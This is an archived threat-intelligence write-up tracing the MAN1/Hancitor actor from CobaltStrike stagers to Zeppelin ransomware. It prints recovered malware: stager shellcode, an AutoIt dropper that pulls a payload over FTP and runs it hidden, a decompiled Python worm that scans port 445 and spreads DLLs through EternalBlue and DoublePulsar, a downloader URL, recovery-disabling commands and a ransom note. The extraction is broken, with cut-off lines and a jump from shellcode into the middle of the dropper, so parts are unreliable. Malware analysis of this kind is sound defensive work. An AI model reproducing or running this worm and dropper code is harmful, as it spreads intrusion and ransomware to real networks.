MAN1, Moskal, Hancitor and a side of Ransomware By Jason Reaves Published: 2021-01-10 · Archived: 2026-04-05 13:09:36 UTC Press enter or click to view image in full size MAN1 AKA Moskalvzapoe AKA TA511 are all names given to a threat actor(TA) that has been active in most major crimeware activities since at least 2014. Within the last few years most of the major e-crime groups have shifted away from normal banking trojan operations and moved towards ransom and data theft, this transition has proven to be very beneficial for them — even though it is a drastic shift from the older days where locking activities were considered to be low-tier activities and a waste of an infection. Press enter or click to view image in full size https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 1 of 20 Ransomware payments from FBI, Photo Credit FBI Special Agent Joel DeCapua As more groups began pivoting to enterprise-focused ransomware activities into 2020, it caused a trend where companies began funding these e-crime groups through ransom payments, turning them into criminal organizations with funding that rivals any major security startup. MAN1 is no exception as many researchers started to notice that Hancitor/Chanitor campaigns began leading to CobaltStrike. In the linked sandbox report from the SANS article we can download and decode the chanitor/hancitor task listed: http://yudiartawan.com/a The file can be decoded by using the first 8 bytes as a XOR key and then LZNT decompressing the result. After decoding the file we are left with a packed CobaltStrike stager, these stagers are built from CobaltStrike much like the beacon files as both will share the same watermark. After unpacking we can decode the shellcode that will be responsible for downloading the beacon file: \xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac>> a = ‘\x06\xc38\xaa’ >>> data = open(‘tYX7.decoded’, ‘rb’).read() >>> data.find(a) 202686 >>> data[202650:202700] ‘ijiy9&:=iiiiiiiiiiiiiuikimiiiiiLikim\x06\xc38\xaaiOihikiiiN’ Then do a VT content search based on part of the encoded data: content:"{696b696d06c338aa}" Which leads to a bunch of files for pivoting to. Press enter or click to view image in full size https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 3 of 20 If the CS package is shared or leaked however then it can lead you down all sorts of rabbit holes, you can use it find lots of samples and then automate decoding all the config data and compare the beacon config and templating to try to find more related files. For now I’m interested in a sample that talks to the IP and is packed with the same packer as the previous one: bd3c278309e4fe19f7b424ee0b56a1a2c0bbae3a59882d5b6f171d3ca89f728b Unpacking this file gives us similar shellcode: \xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac "WIN_10" Then If NOT FileExists("C:\Programdata\RunDLL\Doublepulsar-1.3.1.exe") OR NOT File ConsoleWrite("Downlading Scaner.dat" & @CRLF) Local $ftp_xmrigcpu64 = "scaner.dat" Local $hopen = _ftp_open("FTP") Local $hconn = _ftp_connect($hopen, $server, $username, $pass, 1) Local $ftpg = _ftp_fileget($hconn, $ftp_xmrigcpu64, "C:\Programdata\W Local $isize = _ftp_filegetsize($hconn, "/" & $ftp_xmrigcpu64) ConsoleWrite($isize & @CRLF) Local $iftpc = _ftp_close($hconn) Local $iftpo = _ftp_close($hopen) FileSetAttrib("C:\ProgramData\WindowsTask\scaner.dat", "+SH") Sleep(300) FileMove("C:\Programdata\Windowstask\scaner.dat", "C:\Programdata\Win FileSetAttrib("C:\ProgramData\WindowsTask\scaner.exe", "+SH") Sleep(300) Run("C:\Programdata\WindowsTask\scaner.exe -pnaxui") Sleep(2000) FileDelete("C:\Programdata\WindowsTask\scaner.dat") FileDelete("C:\Programdata\WindowsTask\scaner.exe") FileSetAttrib("C:\ProgramData\RunDLL\*.*", "+SH") FileSetAttrib("C:\ProgramData\RunDLL", "+SH") EndIf Sleep(2000) If NOT ProcessExists("system.exe") Then If NOT ProcessExists("Msiexec64.exe") Then If FileExists("C:\ProgramData\RunDLL\start.exe") Then Run("C:\ProgramData\RunDLL\start.exe") ConsoleWrite("Staring Scaner RunDLL.exe" & @CRLF) EndIf EndIf EndIf EndIf FTP server is on same range as some of the CS boxes: learinmica .com. 600 IN A 31.44.184 .108 scaner.dat — 3f51abd78e607bcd707cbd2f4d90a3d02d5d00fa07320a88838c373239ee6d4b This file is a password protected self extracting rar, the password is naxui from the detonation above in the script. After unpacking the files we are left with a bunch of files related to EternalBlue and DoublePulsar but the script above is mainly related to detonating start.exe https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 12 of 20 start.exe — 54081e33bcd09d29d065533c230256e49adff2edd48f5eb91a2434c03dd9ecb9 This file is a SFX RAR with a vbs inside of it, the VBS file just detonates another file that was unpacked: Set WshShell = CreateObject("WScript.Shell") WshShell.Run "cmd.exe /c Rundll.exe", 0, false rundll.exe — 8b58e3a1a6a11225050af6c82e92451779c0315a602d19ad330e175a7c416bf6 This is a compiled python script which we can decompile: import subprocess import time import threading import socket import sys import random import os try: MyIP = socket.gethostbyname_ex(socket.gethostname())[2] except: MyIP = '10.0.0.2' def EternalBlue(ip): path = 'Eternalblue-2.2.0.exe' inconfig = ' --inconfig Eternalblue-2.2.0.xml' NetworkTimeout = ' --NetworkTimeout 60' TargetIp = ' --TargetIp %s' % ip TargetPort = ' --TargetPort 445' Target = ' --Target WIN72K8R2' summ = path + inconfig + NetworkTimeout + TargetIp + TargetPort + Target PIPE = subprocess.PIPE p = subprocess.Popen(summ, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() output = list(output) output = output[0].split('\r\n') if output.count('[+] CORE terminated with status code 0x00000000') == 1 and output.count(' [+ x = 'good x64' return x elif output.count('[+] CORE terminated with status code 0x00000000') == 1 and output.count(' x = 'good x86' return x else: x = 'not good' return x https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 13 of 20 def Pulsar(ip, arch, dll): path = 'Doublepulsar-1.3.1.exe' inconfig = ' --inconfig Doublepulsar-1.3.1.xml' NetworkTimeout = ' --NetworkTimeout 60' TargetIp = ' --TargetIp %s' % ip TargetPort = ' --TargetPort 445' DllPayload = ' --DllPayload %s' % dll DllOrdinal = ' --DllOrdinal 1' ProcessName = ' --ProcessName lsass.exe' Protocol = ' --Protocol SMB' Architecture = ' --Architecture %s' % arch Function = ' --Fuction RunDll' processCommandLine = ' --processCommandLine' summ = path + inconfig + NetworkTimeout + TargetIp + TargetPort + Architecture + DllPayload + Pro PIPE = subprocess.PIPE p = subprocess.Popen(summ, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() list(output) output = output[0].split('\r\n') def scaner(ip): try: os.remove('Result.txt') except: pass Result = [] scan = 'system.exe TCP %s 445 150 /save' % ip PIPE = subprocess.PIPE p = subprocess.Popen(scan, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() for line in open('Result.txt', 'r').read().split('\n'): if line.find('Open') > 1: Result.append(line.split(' ')[0]) print Result os.remove('Result.txt') return Result def scaner_local(ip): try: os.remove('Result.txt') except: pass Result = [] scan = 'system.exe TCP %s 445 150 /save' % ip PIPE = subprocess.PIPE p = subprocess.Popen(scan, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 14 of 20 output = p.communicate() for line in open('Result.txt', 'r').read().split('\n'): if line.find('Open') > 1: Result.append(line.split(' ')[0]) for x in MyIP: if x in Result: Result.remove(x) os.remove('Result.txt') return Result def attack(lst): status = EternalBlue(lst) if status == 'good x64': Pulsar(lst, 'x64', 'x64.dll') print 'Attack %s good' % lst elif status == 'good x86': Pulsar(lst, 'x86', 'x86.dll') print 'Attack %s good' % lst else: print 'Attack %s not good!!!' % lst def attack2(lst): status = EternalBlue(lst) if status == 'good x64': Pulsar(lst, 'x64', '2x64.dll') print 'Attack %s good' % lst elif status == 'good x86': Pulsar(lst, 'x86', '2x86.dll') print 'Attack %s good' % lst else: print 'Attack %s not good!!!' % lst def new_start(): print 'STARTED' scanlist = [] lst = [] for line in open('scan.txt', 'r').read().split('\n'): for unit in line.split(' '): scanlist.append(unit) randomip = random.choice(scanlist) lst = scaner(randomip) for y in lst: thread_ = threading.Thread(target=attack2, args=(y,)).start() while threading.active_count() > 2: time.sleep(5) https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 15 of 20 print 'FINISHED' def start_local(): print 'STARTED_local' lst = [] for ip in MyIP: lst = scaner_local(ip + '/16') for y in lst: thread_ = threading.Thread(target=attack, args=(y,)).start() while threading.active_count() > 2: time.sleep(5) print 'FINISHED' def new_random(): print 'STARTED' randomip = str(random.randint(1, 254)) + '.' + str(random.randint(0, 254)) + '.' + '0.' + '0' print 'scan ' + randomip + '/16' lst = scaner(randomip + '/16') for y in lst: thread_ = threading.Thread(target=attack, args=(y,)).start() while threading.active_count() > 2: time.sleep(5) print 'FINISHED' while True: new_start() start_local() Ultimately this script is using DoublePulsar and EternalBlue to spread the x86.dll,x64.dll,2x86.dll,2x64.dll files which turn out to be fairly simplistic downloaders: User-Agent RookIE/1.0 hxxp://learinmica.com/update/update[.]rar The file will be stored in the ProgramData directory and leads to similar Autoit executables for using scaner.dat and CS stagers leading to more CS servers: taskhosta.exe - e2f686f17b73398d949998e46c7fde48d0507b324a811df39cdd91531deb3d89 This is a CS stager using a different watermark and downloading a beacon from: 31.44.184 .50/nECf https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 16 of 20 The other file we previously mentioned from 45.142.213[.]167: oxford.exe - 6e4459199d7fbdc4c215e595906e78fdd1c15ad3be6abed6540b80de17b63f3b This is VegaLocker ransomware version Zeppelin, we can quickly decode all the onboard strings: >>> import re >>> t = re.findall('''\xff\xff\xff\xff.\x00\x00\x00''', data) >>> len(t) 268 >>> def decode(blah): ... rc4 = ARC4.new(blah[:0x20]) ... return rc4.decrypt(blah[0x20:]) ... >>> import struct >>> for val in t: ... o = data.find(val) ... (a,b) = struct.unpack_from(' NtQuerySystemInformation NtQuerySystemInformation 1767974731E6E223476E65712463554E87F55542B120AB1CE64651031B43D6AF4DECB1CF8ED6E71FED2376C3169F7A33AC239 1767974731E6E223476E65712463554E87F55542B120AB1CE64651031B43D6AF4DECB1CF8ED6E71FED2376C3169F7A33AC239 {15F7DAB8-8C18-A41B-BFCD-C970AE422622} bcdedit /set {default} bootstatuspolicy ignoreallfailures;bcdedit /set {default} recoveryenabled no;w boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntdetect.com;ntldr;ntuser.dat;ntuser.dat :\$Windows.~bt\;:\System Volume Information\;:\Windows.old\;:\Windows\;:\intel\;:\nvidia\;:\inetpub\l QueryFullProcessImageNameW Veeam.Backup.Manager.exe;Veeam.Backup.Agent.ConfigurationService.exe;Veeam.Backup.BrokerService.exe;V .bat;.cmd;.com;.cpl;.dll;.msc;.msp;.pif;.scr;.sys;.log;.lnk;.zeppelin; https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618 Page 17 of 20 !!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT !!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. !!! YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! There is only one method of recovering files it is purchase an unique private key. Write to angry_war@protonmail.ch Your personal ID: Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. We can continue pivoting on some of the CobaltStrike C2 servers, their admin ports are 43890 instead of the default 50050 and the cert is static: s:C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, OU = Microsoft Corporation, CN = O I wrote up a tool for cert scanning ranges a number of years ago for a local conference and we can use it here to scan entire ranges looking for this actors infrastructure. 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3e IP: 31.44.184.181 -